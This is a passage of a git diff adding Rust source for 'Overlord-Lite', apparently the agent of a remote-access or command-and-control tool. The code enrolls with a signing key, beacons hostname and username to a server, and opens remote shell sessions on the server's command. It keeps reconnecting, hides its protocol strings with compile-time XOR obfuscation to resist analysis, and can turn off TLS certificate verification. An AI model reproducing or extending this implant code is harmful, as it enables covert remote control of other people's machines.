Ok(Self { + client_id: stored.client_id, + signing_key: SigningKey::from_bytes(&seed), + }); + } + + let signing_key = SigningKey::generate(&mut OsRng); + let identity = Self { + client_id: Uuid::new_v4().to_string(), + signing_key, + }; + let stored = StoredIdentity { + client_id: identity.client_id.clone(), + seed_base64: STANDARD.encode(identity.signing_key.to_bytes()), + }; + let temp_path = state_dir.join("identity.json.tmp"); + fs::write(&temp_path, serde_json::to_vec_pretty(&stored)?) + .with_context(|| format!("write {}", temp_path.display()))?; + set_private_permissions(&temp_path)?; + fs::rename(&temp_path, &path).with_context(|| format!("install {}", path.display()))?; + Ok(identity) + } + + pub fn public_key_base64(&self) -> String { + STANDARD.encode(self.signing_key.verifying_key().as_bytes()) + } + + pub fn sign_base64(&self, nonce_base64: &str) -> Result { + let nonce = STANDARD + .decode(nonce_base64) + .context("decode enrollment nonce")?; + if nonce.is_empty() { + bail!("enrollment nonce was empty"); + } + Ok(STANDARD.encode(self.signing_key.sign(&nonce).to_bytes())) + } + + pub fn fingerprint(&self) -> String { + let digest = Sha256::digest(self.signing_key.verifying_key().as_bytes()); + digest.iter().map(|byte| format!("{byte:02x}")).collect() + } +} + +#[cfg(unix)] +fn set_private_permissions(path: &Path) -> Result<()> { + use std::os::unix::fs::PermissionsExt; + fs::set_permissions(path, fs::Permissions::from_mode(0o600))?; + Ok(()) +} + +#[cfg(not(unix))] +fn set_private_permissions(_path: &Path) -> Result<()> { + Ok(()) +} diff --git a/Overlord-Lite/src/lib.rs b/Overlord-Lite/src/lib.rs new file mode 100644 index 0000000..fb9d5b4 --- /dev/null +++ b/Overlord-Lite/src/lib.rs @@ -0,0 +1,11 @@ +extern crate self as overlord_lite; + +pub use overlord_lite_string_obfuscator::obfstr; + +pub mod config; +pub mod console; +pub mod identity; +pub mod obfuscation; +pub mod protocol; +pub mod session; +pub mod tls; diff --git a/Overlord-Lite/src/main.rs b/Overlord-Lite/src/main.rs new file mode 100644 index 0000000..3e7d171 --- /dev/null +++ b/Overlord-Lite/src/main.rs @@ -0,0 +1,53 @@ +use anyhow::Result; +use overlord_lite::{config::Config, identity::Identity, session}; + +#[tokio::main] +async fn main() -> Result<()> { + let config = Config::from_env()?; + let identity = Identity::load_or_create(&config.state_dir)?; + + eprintln!( + "Overlord Lite {} starting as {} (identity {})", + env!("CARGO_PKG_VERSION"), + identity.client_id, + identity.fingerprint() + ); + if config.insecure_tls { + eprintln!("WARNING: TLS certificate verification is disabled"); + } else if !config.tls_spki_pins.is_empty() { + eprintln!( + "TLS server identity pinning enabled ({} trusted key{})", + config.tls_spki_pins.len(), + if config.tls_spki_pins.len() == 1 { + "" + } else { + "s" + }, + ); + } + + let mut server_index = 0usize; + loop { + let server = &config.servers[server_index % config.servers.len()]; + eprintln!("connecting to {server}"); + + tokio::select! { + result = session::run(&config, &identity, server) => { + match result { + Ok(()) => eprintln!("session ended"), + Err(error) => eprintln!("session error: {error:#}"), + } + } + _ = tokio::signal::ctrl_c() => { + eprintln!("shutdown requested"); + return Ok(()); + } + } + + server_index = (server_index + 1) % config.servers.len(); + tokio::select! { + _ = tokio::time::sleep(config.reconnect_delay) => {} + _ = tokio::signal::ctrl_c() => return Ok(()), + } + } +} diff --git a/Overlord-Lite/src/obfuscation.rs b/Overlord-Lite/src/obfuscation.rs new file mode 100644 index 0000000..7f87416 --- /dev/null +++ b/Overlord-Lite/src/obfuscation.rs @@ -0,0 +1,38 @@ +/// Reconstructs a string emitted by `obfstr!`. +/// +/// `black_box` plus the non-inlined boundary keeps release LTO from replacing +/// the call with a plaintext constant. This is binary obfuscation, not secret +/// storage: a determined analyst can still recover strings from a running +/// process or reverse the decoder. +#[inline(never)] +pub fn decrypt(encrypted: &[u8], seed: u64) -> String { + let encrypted = std::hint::black_box(encrypted); + let mut state = std::hint::black_box(seed | 1); + let plaintext = encrypted + .iter() + .map(|byte| byte ^ next_key_byte(&mut state)) + .collect(); + String::from_utf8(plaintext).expect("obfstr generated invalid UTF-8") +} + +fn next_key_byte(state: &mut u64) -> u8 { + *state ^= *state >> 12; + *state ^= *state << 25; + *state ^= *state >> 27; + (state.wrapping_mul(0x2545_f491_4f6c_dd1d) >> 56) as u8 +} + +#[cfg(test)] +mod tests { + use crate::obfstr; + + #[test] + fn decrypts_compile_time_string() { + assert_eq!( + obfstr!("overlord-obfuscation-marker"), + "overlord-obfuscation-marker" + ); + assert_eq!(obfstr!("Unicode: ☃"), "Unicode: ☃"); + assert!(obfstr!("").is_empty()); + } +} diff --git a/Overlord-Lite/src/protocol.rs b/Overlord-Lite/src/protocol.rs new file mode 100644 index 0000000..bd60c4f --- /dev/null +++ b/Overlord-Lite/src/protocol.rs @@ -0,0 +1,140 @@ +use std::collections::BTreeMap; + +use anyhow::{Context, Result, anyhow}; +use rmpv::Value; +use serde::Serialize; + +include!(concat!(env!("OUT_DIR"), "/wire_contract.rs")); + +#[derive(Clone, Debug, Serialize)] +#[serde(rename_all = "camelCase")] +pub struct CommandVersionRange { + pub min: u16, + pub max: u16, +} + +#[derive(Debug, Serialize)] +#[serde(rename_all = "camelCase")] +pub struct Hello<'a> { + #[serde(rename = "type")] + pub message_type: &'static str, + pub id: &'a str, + pub hwid: &'a str, + pub host: String, + pub os: &'static str, + pub arch: &'static str, + pub version: &'static str, + pub user: String, + pub monitors: u8, + #[serde(skip_serializing_if = "Option::is_none")] + pub build_tag: Option<&'a str>, + pub public_key: &'a str, + pub signature: &'a str, + pub protocol_version: u16, + pub command_versions: BTreeMap, +} + +#[derive(Debug, Serialize)] +pub struct Ping { + #[serde(rename = "type")] + pub message_type: &'static str, + pub ts: i64, +} + +#[derive(Debug, Serialize)] +#[serde(rename_all = "camelCase")] +pub struct CommandResult<'a> { + #[serde(rename = "type")] + pub message_type: &'static str, + pub command_id: &'a str, + pub command_type: &'a str, + pub command_version: u16, + pub ok: bool, + #[serde(skip_serializing_if = "Option::is_none")] + pub message: Option<&'a str>, + #[serde(skip_serializing_if = "Option::is_none")] + pub error_code: Option<&'a str>, +} + +#[derive(Debug, Serialize)] +#[serde(rename_all = "camelCase")] +pub struct ConsoleOutput<'a> { + #[serde(rename = "type")] + pub message_type: &'static str, + pub session_id: &'a str, + #[serde(skip_serializing_if = "Option::is_none")] + pub data: Option<&'a serde_bytes::Bytes>, + #[serde(skip_serializing_if = "Option::is_none")] + pub exit_code: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub error: Option<&'a str>, +} + +pub fn encode(value: &T) -> Result> { + rmp_serde::to_vec_named(value).context("encode MessagePack") +} + +pub fn decode(bytes: &[u8]) -> Result { + rmp_serde::from_slice(bytes).context("decode MessagePack") +} + +pub fn field<'a>(value: &'a Value, name: &str) -> Option<&'a Value> { + value + .as_map()? + .iter() + .find_map(|(key, value)| (key.as_str() == Some(name)).then_some(value)) +} + +pub fn string_field<'a>(value: &'a Value, name: &str) -> Option<&'a str> { + field(value, name)?.as_str() +} + +pub fn required_string<'a>(value: &'a Value, name: &str) -> Result<&'a str> { + string_field(value, name).ok_or_else(|| anyhow!("missing or invalid {name}")) +} + +pub fn integer_field(value: &Value, name: &str) -> Option { + let value = field(value, name)?; + value + .as_i64() + .or_else(|| value.as_u64().and_then(|number| i64::try_from(number).ok())) +} + +pub fn command_versions() -> BTreeMap { + lite_command_version_support() + .into_iter() + .map(|(command, min, max)| (command, CommandVersionRange { min, max })) + .collect() +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn advertises_only_console_commands() { + let commands = command_versions(); + assert_eq!(commands.len(), 4); + for command in [ + "console_input", + "console_resize", + "console_start", + "console_stop", + ] { + let versions = commands.get(command).unwrap(); + assert_eq!(versions.min, 1); + assert_eq!(versions.max, 1); + } + } + + #[test] + fn messagepack_uses_wire_field_names() { + let ping = Ping { + message_type: "ping", + ts: 123, + }; + let decoded = decode(&encode(&ping).unwrap()).unwrap(); + assert_eq!(string_field(&decoded, "type"), Some("ping")); + assert_eq!(integer_field(&decoded, "ts"), Some(123)); + } +} diff --git a/Overlord-Lite/src/session.rs b/Overlord-Lite/src/session.rs new file mode 100644 index 0000000..86ded12 --- /dev/null +++ b/Overlord-Lite/src/session.rs @@ -0,0 +1,521 @@ +use std::{ + sync::LazyLock, + time::{Duration, SystemTime, UNIX_EPOCH}, +}; + +use crate::{ + config::{Config, ServerUrl}, + console::ConsoleHub, + identity::Identity, + obfstr, + protocol::{self, CommandResult, Hello, Ping}, + tls, +}; +use anyhow::{Context, Result, anyhow, bail}; +use futures_util::{SinkExt, StreamExt}; +use rmpv::Value; +use tokio::net::TcpStream; +use tokio_tungstenite::{ + MaybeTlsStream, WebSocketStream, connect_async_tls_with_config, + tungstenite::{ + Message, + client::IntoClientRequest, + http::{HeaderName, HeaderValue}, + }, +}; + +type Socket = WebSocketStream>; + +static API_CLIENTS_PREFIX: LazyLock = LazyLock::new(|| obfstr!("/api/clients/")); +static STREAM_WS_SUFFIX: LazyLock = LazyLock::new(|| obfstr!("/stream/ws")); +static ROLE_CLIENT: LazyLock = LazyLock::new(|| obfstr!("role=client")); +static WEBSOCKET_PROTOCOL_HEADER: LazyLock = + LazyLock::new(|| obfstr!("Sec-WebSocket-Protocol")); +static AGENT_TOKEN_HEADER: LazyLock = LazyLock::new(|| obfstr!("x-agent-token")); +static BINARY_PROTOCOL: LazyLock = LazyLock::new(|| obfstr!("binary")); +static FIELD_TYPE: LazyLock = LazyLock::new(|| obfstr!("type")); +static FIELD_NONCE: LazyLock = LazyLock::new(|| obfstr!("nonce")); +static FIELD_STATUS: LazyLock = LazyLock::new(|| obfstr!("status")); +static FIELD_ID: LazyLock = LazyLock::new(|| obfstr!("id")); +static FIELD_COMMAND_TYPE: LazyLock = LazyLock::new(|| obfstr!("commandType")); +static FIELD_COMMAND_VERSION: LazyLock = LazyLock::new(|| obfstr!("commandVersion")); +static FIELD_PAYLOAD: LazyLock = LazyLock::new(|| obfstr!("payload")); +static FIELD_SESSION_ID: LazyLock = LazyLock::new(|| obfstr!("sessionId")); +static FIELD_DATA: LazyLock = LazyLock::new(|| obfstr!("data")); +static FIELD_COLS: LazyLock = LazyLock::new(|| obfstr!("cols")); +static FIELD_ROWS: LazyLock = LazyLock::new(|| obfstr!("rows")); +static FIELD_TS: LazyLock = LazyLock::new(|| obfstr!("ts")); +static ENROLLMENT_CHALLENGE: LazyLock = LazyLock::new(|| obfstr!("enrollment_challenge")); +static ENROLLMENT_STATUS: LazyLock = LazyLock::new(|| obfstr!("enrollment_status")); +static HELLO: LazyLock = LazyLock::new(|| obfstr!("hello")); +static HELLO_ACK: LazyLock = LazyLock::new(|| obfstr!("hello_ack")); +static PING: LazyLock = LazyLock::new(|| obfstr!("ping")); +static PONG: LazyLock = LazyLock::new(|| obfstr!("pong")); +static COMMAND: LazyLock = LazyLock::new(|| obfstr!("command")); +static COMMAND_RESULT: LazyLock = LazyLock::new(|| obfstr!("command_result")); +static CONSOLE_START: LazyLock = LazyLock::new(|| obfstr!("console_start")); +static CONSOLE_INPUT: LazyLock = LazyLock::new(|| obfstr!("console_input")); +static CONSOLE_RESIZE: LazyLock = LazyLock::new(|| obfstr!("console_resize")); +static CONSOLE_STOP: LazyLock = LazyLock::new(|| obfstr!("console_stop")); +static CLIENT_VERSION: LazyLock = + LazyLock::new(|| format!("{}{}", obfstr!("rust-lite/"), env!("CARGO_PKG_VERSION"))); + +pub async fn run(config: &Config, identity: &Identity, server: &ServerUrl) -> Result<()> { + let socket_url = format!( + "{}{}{}{}?{}", + server.as_str().trim_end_matches('/'), + API_CLIENTS_PREFIX.as_str(), + identity.client_id, + STREAM_WS_SUFFIX.as_str(), + ROLE_CLIENT.as_str(), + ); + + let mut request = socket_url.into_client_request()?; + request.headers_mut().insert( + HeaderName::from_bytes(WEBSOCKET_PROTOCOL_HEADER.as_bytes())?, + HeaderValue::from_str(BINARY_PROTOCOL.as_str())?, + ); + if let Some(token) = &config.agent_token { + request.headers_mut().insert( + HeaderName::from_bytes(AGENT_TOKEN_HEADER.as_bytes())?, + HeaderValue::from_str(token)?, + ); + } + + let connector = tls::websocket_connector(config.insecure_tls, &config.tls_spki_pins); + let (mut socket, _) = connect_async_tls_with_config(request, None, true, connector) + .await + .with_context(|| format!("connect to {server}"))?; + + let first = tokio::time::timeout(Duration::from_secs(30), receive_envelope(&mut socket)) + .await + .context("timed out waiting for enrollment challenge")??; + let first_type = protocol::required_string(&first, FIELD_TYPE.as_str())?; + let (public_key, signature, needs_ack) = if first_type == ENROLLMENT_CHALLENGE.as_str() { + let nonce = protocol::required_string(&first, FIELD_NONCE.as_str())?; + ( + identity.public_key_base64(), + identity.sign_base64(nonce)?, + true, + ) + } else if first_type == HELLO_ACK.as_str() { + (String::new(), String::new(), false) + } else { + bail!("unexpected first server message {first_type:?}") + }; + + let hello = Hello { + message_type: HELLO.as_str(), + id: &identity.client_id, + hwid: &identity.client_id, + host: hostname(), + os: wire_os(), + arch: wire_arch(), + version: CLIENT_VERSION.as_str(), + user: username(), + monitors: 0, + build_tag: config.build_tag.as_deref(), + public_key: &public_key, + signature: &signature, + protocol_version: protocol::WIRE_PROTOCOL_VERSION, + command_versions: protocol::command_versions(), + }; + send_value(&mut socket, &hello).await?; + + if needs_ack { + loop { + let response = + tokio::time::timeout(Duration::from_secs(30), receive_envelope(&mut socket)) + .await + .context("timed out waiting for enrollment status")??; + let response_type = protocol::required_string(&response, FIELD_TYPE.as_str())?; + if response_type == HELLO_ACK.as_str() { + break; + } else if response_type == ENROLLMENT_STATUS.as_str() { + let status = + protocol::string_field(&response, FIELD_STATUS.as_str()).unwrap_or("unknown"); + bail!("enrollment status is {status}"); + } else if response_type == PING.as_str() { + send_protocol_pong(&mut socket, &response).await?; + } else if response_type != PONG.as_str() { + bail!("unexpected enrollment response {response_type:?}"); + } + } + } + + eprintln!("authenticated and connected as {}", identity.client_id); + send_value( + &mut socket, + &Ping { + message_type: PING.as_str(), + ts: now_millis(), + }, + ) + .await?; + + let mut heartbeat = + tokio::time::interval(config.heartbeat_interval.max(Duration::from_secs(1))); + heartbeat.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + heartbeat.tick().await; + let (console_tx, mut console_rx) = tokio::sync::mpsc::channel(64); + let mut consoles = ConsoleHub::new(console_tx); + + loop { + tokio::select! { + _ = heartbeat.tick() => { + send_value(&mut socket, &Ping { message_type: PING.as_str(), ts: now_millis() }).await?; + } + incoming = socket.next() => { + let message = incoming.ok_or_else(|| anyhow!("server closed the WebSocket"))??; + match message { + Message::Binary(bytes) => { + let envelope = protocol::decode(&bytes)?; + handle_envelope(&mut socket, &mut consoles, &envelope).await?; + } + Message::Ping(bytes) => socket.send(Message::Pong(bytes)).await?, + Message::Pong(_) => {} + Message::Close(frame) => bail!("server closed the session: {frame:?}"), + Message::Text(_) | Message::Frame(_) => {} + } + } + output = console_rx.recv() => { + if let Some(output) = output { + socket.send(Message::Binary(output.into())).await?; + } + } + } + } +} + +async fn handle_envelope( + socket: &mut Socket, + consoles: &mut ConsoleHub, + envelope: &Value, +) -> Result<()> { + let message_type = protocol::required_string(envelope, FIELD_TYPE.as_str())?; + if message_type == PING.as_str() { + send_protocol_pong(socket, envelope).await?; + } else if message_type == COMMAND.as_str() { + handle_command(socket, consoles, envelope).await?; + } else if message_type != PONG.as_str() && message_type != HELLO_ACK.as_str() { + eprintln!("ignoring unsupported server message {message_type}"); + } + Ok(()) +} + +async fn handle_command( + socket: &mut Socket, + consoles: &mut ConsoleHub, + envelope: &Value, +) -> Result<()> { + let command = protocol::required_string(envelope, FIELD_COMMAND_TYPE.as_str())?; + if !is_console_command(command) { + return send_unsupported_command(socket, envelope).await; + } + + let command_id = protocol::string_field(envelope, FIELD_ID.as_str()).unwrap_or(""); + let command_version = protocol::integer_field(envelope, FIELD_COMMAND_VERSION.as_str()) + .unwrap_or(1) + .max(1) as u16; + if command_version != 1 { + return send_command_result( + socket, + command_id, + command, + command_version, + false, + Some("unsupported console command version"), + Some("unsupported_command_version"), + ) + .await; + } + + let payload = protocol::field(envelope, FIELD_PAYLOAD.as_str()).unwrap_or(&Value::Nil); + let session_id = protocol::string_field(payload, FIELD_SESSION_ID.as_str()).unwrap_or(""); + let result = if command == CONSOLE_START.as_str() { + consoles.start( + session_id, + protocol::integer_field(payload, FIELD_COLS.as_str()).unwrap_or(0), + protocol::integer_field(payload, FIELD_ROWS.as_str()).unwrap_or(0), + ) + } else if command == CONSOLE_INPUT.as_str() { + if session_id.is_empty() { + Ok(()) + } else { + let data = protocol::string_field(payload, FIELD_DATA.as_str()).unwrap_or(""); + consoles.write(session_id, data) + } + } else if command == CONSOLE_RESIZE.as_str() { + if session_id.is_empty() { + Ok(()) + } else { + consoles.resize( + session_id, + protocol::integer_field(payload, FIELD_COLS.as_str()).unwrap_or(0), + protocol::integer_field(payload, FIELD_ROWS.as_str()).unwrap_or(0), + ) + } + } else { + if !session_id.is_empty() { + consoles.stop(session_id); + } + Ok(()) + }; + + match result { + Ok(()) => send_command_result(socket, command_id, command, 1, true, None, None).await, + Err(error) => { + let message = error.to_string(); + send_command_result( + socket, + command_id, + command, + 1, + false, + Some(&message), + Some("console_error"), + ) + .await + } + } +} + +async fn send_command_result( + socket: &mut Socket, + command_id: &str, + command_type: &str, + command_version: u16, + ok: bool, + message: Option<&str>, + error_code: Option<&str>, +) -> Result<()> { + send_value( + socket, + &CommandResult { + message_type: COMMAND_RESULT.as_str(), + command_id, + command_type, + command_version, + ok, + message, + error_code, + }, + ) + .await +} + +async fn send_unsupported_command(socket: &mut Socket, envelope: &Value) -> Result<()> { + let command = protocol::required_string(envelope, FIELD_COMMAND_TYPE.as_str())?; + let command_id = protocol::string_field(envelope, FIELD_ID.as_str()).unwrap_or(""); + let version = protocol::integer_field(envelope, FIELD_COMMAND_VERSION.as_str()) + .unwrap_or(1) + .max(1) as u16; + send_value( + socket, + &CommandResult { + message_type: COMMAND_RESULT.as_str(), + command_id, + command_type: command, + command_version: version, + ok: false, + message: Some("command is not supported by Overlord Lite"), + error_code: Some("unsupported_command"), + }, + ) + .await +} + +async fn receive_envelope(socket: &mut Socket) -> Result { + loop { + match socket + .next() + .await + .ok_or_else(|| anyhow!("server closed the WebSocket"))?? + { + Message::Binary(bytes) => return protocol::decode(&bytes), + Message::Ping(bytes) => socket.send(Message::Pong(bytes)).await?, + Message::Pong(_) | Message::Text(_) | Message::Frame(_) => {} + Message::Close(frame) => bail!("server closed the session: {frame:?}"), + } + } +} + +async fn send_value(socket: &mut Socket, value: &T) -> Result<()> { + socket + .send(Message::Binary(protocol::encode(value)?.into())) + .await?; + Ok(()) +} + +async fn send_protocol_pong(socket: &mut Socket, incoming: &Value) -> Result<()> { + send_value( + socket, + &Ping { + message_type: PONG.as_str(), + ts: protocol::integer_field(incoming, FIELD_TS.as_str()).unwrap_or_else(now_millis), + }, + ) + .await +} + +fn is_console_command(command: &str) -> bool { + command == CONSOLE_START.as_str() + || command == CONSOLE_INPUT.as_str() + || command == CONSOLE_RESIZE.as_str() + || command == CONSOLE_STOP.as_str() +} + +fn hostname() -> String { + std::env::var(if cfg!(windows) { + "COMPUTERNAME" + } else { + "HOSTNAME" + }) + .ok() + .filter(|value| !value.trim().is_empty()) + .unwrap_or_else(|| "unknown".to_owned()) +} + +fn username() -> String { + std::env::var(if cfg!(windows) { "USERNAME" } else { "USER" }) + .ok() + .filter(|value| !value.trim().is_empty()) + .unwrap_or_else(|| "unknown".to_owned()) +} + +fn wire_os() -> &'static str { + match std::env::consts::OS { + "macos" => "darwin", + other => other, + } +} + +fn wire_arch() -> &'static str { + match std::env::consts::ARCH { + "x86_64" => "amd64", + "aarch64" => "arm64", + "x86" => "386", + other => other, + } +} + +fn now_millis() -> i64 { + SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap_or_default() + .as_millis() as i64 +} + +#[cfg(test)] +mod tests { + use super::*; + use base64::{Engine as _, engine::general_purpose::STANDARD}; + use ed25519_dalek::{Signature, VerifyingKey}; + use tempfile::tempdir; + use tokio::net::TcpListener; + use tokio_tungstenite::accept_hdr_async; + + #[tokio::test] + #[allow(clippy::result_large_err)] // Required by tungstenite's handshake callback signature. + async fn authenticates_and_advertises_console_commands() { + let listener = TcpListener::bind("127.0.0.1:0").await.unwrap(); + let address = listener.local_addr().unwrap(); + let state = tempdir().unwrap(); + let identity = Identity::load_or_create(state.path()).unwrap(); + let server_url = ServerUrl::parse(&format!("ws://{address}")).unwrap(); + let config = Config { + servers: vec![server_url.clone()], + agent_token: Some("test-agent-token".to_owned()), + build_tag: Some("test-build-tag".to_owned()), + insecure_tls: true, + tls_spki_pins: Vec::new(), + state_dir: state.path().to_owned(), + reconnect_delay: Duration::from_millis(1), + heartbeat_interval: Duration::from_secs(60), + }; + let expected_client_id = identity.client_id.clone(); + + let mock_server = tokio::spawn(async move { + let (tcp, _) = listener.accept().await.unwrap(); + let mut socket = accept_hdr_async(tcp, |request: &tokio_tungstenite::tungstenite::handshake::server::Request, mut response: tokio_tungstenite::tungstenite::handshake::server::Response| { + assert_eq!(request.headers()["x-agent-token"], "test-agent-token"); + assert!(request.uri().path().contains(&expected_client_id)); + response.headers_mut().insert("Sec-WebSocket-Protocol", HeaderValue::from_static("binary")); + Ok(response) + }).await.unwrap(); + + let nonce = [7u8; 32]; + let challenge = serde_json::json!({ "type": "enrollment_challenge", "nonce": STANDARD.encode(nonce) }); + socket + .send(Message::Binary( + protocol::encode(&challenge).unwrap().into(), + )) + .await + .unwrap(); + + let Message::Binary(hello_bytes) = socket.next().await.unwrap().unwrap() else { + panic!("expected binary hello") + }; + let hello = protocol::decode(&hello_bytes).unwrap(); + assert_eq!(protocol::string_field(&hello, "type"), Some("hello")); + assert_eq!( + protocol::string_field(&hello, "buildTag"), + Some("test-build-tag") + ); + assert_eq!( + protocol::string_field(&hello, "version"), + Some(concat!("rust-lite/", env!("CARGO_PKG_VERSION"))) + ); + let command_versions = protocol::field(&hello, "commandVersions") + .unwrap() + .as_map() + .unwrap(); + assert_eq!(command_versions.len(), 4); + for command in [ + "console_input", + "console_resize", + "console_start", + "console_stop", + ] { + assert!( + command_versions + .iter() + .any(|(key, _)| key.as_str() == Some(command)) + ); + } + + let public_key: [u8; 32] = STANDARD + .decode(protocol::required_string(&hello, "publicKey").unwrap()) + .unwrap() + .try_into() + .unwrap(); + let signature = Signature::from_slice( + &STANDARD + .decode(protocol::required_string(&hello, "signature").unwrap()) + .unwrap(), + ) + .unwrap(); + VerifyingKey::from_bytes(&public_key) + .unwrap() + .verify_strict(&nonce, &signature) + .unwrap(); + + let ack = serde_json::json!({ "type": "hello_ack", "id": expected_client_id, "protocolVersion": 1 }); + socket + .send(Message::Binary(protocol::encode(&ack).unwrap().into())) + .await + .unwrap(); + let Message::Binary(ping_bytes) = socket.next().await.unwrap().unwrap() else { + panic!("expected initial ping") + }; + assert_eq!( + protocol::string_field(&protocol::decode(&ping_bytes).unwrap(), "type"), + Some("ping") + ); + socket.close(None).await.unwrap(); + }); + + assert!(run(&config, &identity, &server_url).await.is_err()); + mock_server.await.unwrap(); + } +} diff --git a/Overlord-Lite/src/tls.rs b/Overlord-Lite/src/tls.rs new file mode 100644 index 0000000..cd0f800 --- /dev/null +++ b/Overlord-Lite/src/tls.rs @@ -0,0 +1,259 @@ +use std::{fmt::Debug, sync::Arc}; + +use base64::{Engine as _, engine::general_purpose::STANDARD}; +use rustls::{ + ClientConfig, DigitallySignedStruct, RootCertStore, SignatureScheme, + client::{ + WebPkiServerVerifier, + danger::{HandshakeSignatureValid, ServerCertVerified, ServerCertVerifier}, + }, + crypto::CryptoProvider, + pki_types::{CertificateDer, ServerName, UnixTime}, +}; +use sha2::{Digest, Sha256}; +use tokio_tungstenite::Connector; + +pub fn websocket_connector(insecure: bool, pins: &[[u8; 32]]) -> Option { + custom_client_config(insecure, pins).map(|config| Connector::Rustls(Arc::new(config))) +} + +fn custom_client_config(insecure: bool, pins: &[[u8; 32]]) -> Option { + if !insecure && pins.is_empty() { + return None; + } + + let provider = Arc::new(rustls::crypto::ring::default_provider()); + let verifier: Arc = if insecure { + Arc::new(NoCertificateVerification { + provider: provider.clone(), + }) + } else { + Arc::new(PinnedCertificateVerification { + pins: pins.to_vec(), + provider: provider.clone(), + }) + }; + Some( + ClientConfig::builder_with_provider(provider) + .with_safe_default_protocol_versions() + .expect("ring supports the default TLS protocol versions") + .dangerous() + .with_custom_certificate_verifier(verifier) + .with_no_client_auth(), + ) +} + +#[derive(Debug)] +struct PinnedCertificateVerification { + pins: Vec<[u8; 32]>, + provider: Arc, +} + +impl ServerCertVerifier for PinnedCertificateVerification { + fn verify_server_cert( + &self, + end_entity: &CertificateDer<'_>, + intermediates: &[CertificateDer<'_>], + server_name: &ServerName<'_>, + ocsp_response: &[u8], + now: UnixTime, + ) -> Result { + let spki = certificate_spki(end_entity.as_ref()).ok_or_else(|| { + rustls::Error::InvalidCertificate(rustls::CertificateError::BadEncoding) + })?; + let actual = Sha256::digest(spki); + if !self.pins.iter().any(|expected| expected[..] == actual[..]) { + return Err(rustls::Error::General(format!( + "TLS server identity pin mismatch (received sha256/{})", + STANDARD.encode(actual), + ))); + } + + // The pin makes this exact public key the trust anchor. Delegating the + // rest to webpki retains certificate time, name, purpose, and encoding + // checks instead of turning verification off for self-signed servers. + let mut roots = RootCertStore::empty(); + roots.add(end_entity.clone())?; + let verifier = + WebPkiServerVerifier::builder_with_provider(Arc::new(roots), self.provider.clone()) + .build() + .map_err(|error| { + rustls::Error::General(format!("build pinned TLS verifier: {error}")) + })?; + verifier.verify_server_cert(end_entity, intermediates, server_name, ocsp_response, now) + } + + fn verify_tls12_signature( + &self, + message: &[u8], + cert: &CertificateDer<'_>, + dss: &DigitallySignedStruct, + ) -> Result { + rustls::crypto::verify_tls12_signature( + message, + cert, + dss, + &self.provider.signature_verification_algorithms, + ) + } + + fn verify_tls13_signature( + &self, + message: &[u8], + cert: &CertificateDer<'_>, + dss: &DigitallySignedStruct, + ) -> Result { + rustls::crypto::verify_tls13_signature( + message, + cert, + dss, + &self.provider.signature_verification_algorithms, + ) + } + + fn supported_verify_schemes(&self) -> Vec { + self.provider + .signature_verification_algorithms + .supported_schemes() + } +} + +#[derive(Debug)] +struct NoCertificateVerification { + provider: Arc, +} + +impl ServerCertVerifier for NoCertificateVerification { + fn verify_server_cert( + &self, + _end_entity: &CertificateDer<'_>, + _intermediates: &[CertificateDer<'_>], + _server_name: &ServerName<'_>, + _ocsp_response: &[u8], + _now: UnixTime, + ) -> Result { + Ok(ServerCertVerified::assertion()) + } + + fn verify_tls12_signature( + &self, + message: &[u8], + cert: &CertificateDer<'_>, + dss: &DigitallySignedStruct, + ) -> Result { + rustls::crypto::verify_tls12_signature( + message, + cert, + dss, + &self.provider.signature_verification_algorithms, + ) + } + + fn verify_tls13_signature( + &self, + message: &[u8], + cert: &CertificateDer<'_>, + dss: &DigitallySignedStruct, + ) -> Result { + rustls::crypto::verify_tls13_signature( + message, + cert, + dss, + &self.provider.signature_verification_algorithms, + ) + } + + fn supported_verify_schemes(&self) -> Vec { + self.provider + .signature_verification_algorithms + .supported_schemes() + } +} + +struct DerElement<'a> { + tag: u8, + full: &'a [u8], + content: &'a [u8], + rest: &'a [u8], +} + +fn der_element(input: &[u8]) -> Option> { + let tag = *input.first()?; + let first_length = *input.get(1)?; + let (header_length, content_length) = if first_length & 0x80 == 0 { + (2, usize::from(first_length)) + } else { + let length_bytes = usize::from(first_length & 0x7f); + if length_bytes == 0 || length_bytes > std::mem::size_of::() { + return None; + } + let bytes = input.get(2..2 + length_bytes)?; + if bytes.first() == Some(&0) { + return None; + } + let mut length = 0usize; + for byte in bytes { + length = length.checked_mul(256)?.checked_add(usize::from(*byte))?; + } + if length < 128 { + return None; + } + (2 + length_bytes, length) + }; + let total_length = header_length.checked_add(content_length)?; + let full = input.get(..total_length)?; + Some(DerElement { + tag, + full, + content: &full[header_length..], + rest: &input[total_length..], + }) +} + +fn certificate_spki(certificate: &[u8]) -> Option<&[u8]> { + let certificate = der_element(certificate)?; + if certificate.tag != 0x30 || !certificate.rest.is_empty() { + return None; + } + let tbs = der_element(certificate.content)?; + if tbs.tag != 0x30 { + return None; + } + + let mut fields = tbs.content; + let first = der_element(fields)?; + if first.tag == 0xa0 { + fields = first.rest; + } + // serialNumber, signature, issuer, validity, and subject precede SPKI. + for _ in 0..5 { + fields = der_element(fields)?.rest; + } + let spki = der_element(fields)?; + (spki.tag == 0x30).then_some(spki.full) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn extracts_complete_spki_der_from_certificate() { + let certificate = [ + 0x30, 0x17, // Certificate sequence + 0x30, 0x15, // TBSCertificate sequence + 0xa0, 0x03, 0x02, 0x01, 0x02, // version + 0x02, 0x01, 0x01, // serial number + 0x30, 0x00, // signature + 0x30, 0x00, // issuer + 0x30, 0x00, // validity + 0x30, 0x00, // subject + 0x30, 0x03, 0x01, 0x01, 0xff, // SPKI + ]; + assert_eq!( + certificate_spki(&certificate), + Some(&certificate[20..25][..]) + ); + assert_eq!(certificate_spki(&certificate[..24]), None); + } +} diff --git a/Overlord-Lite/string-obfuscator/Cargo.toml b/Overlord-Lite/string-obfuscator/Cargo.toml new file mode 100644 index 0000000..eacbcce --- /dev/null +++ b/Overlord-Lite/string-obfuscator/Cargo.toml @@ -0,0 +1,13 @@ +[package] +name = "overlord-lite-string-obfuscator" +version = "0.1.0" +edition = "2024" +publish = false + +[lib] +proc-macro = true + +[dependencies] +proc-macro2 = "1.0" +quote = "1.0" +syn = { version = "2.0", features = ["parsing"] } diff --git a/Overlord-Lite/string-obfuscator/src/lib.rs b/Overlord-Lite/string-obfuscator/src/lib.rs new file mode 100644 index 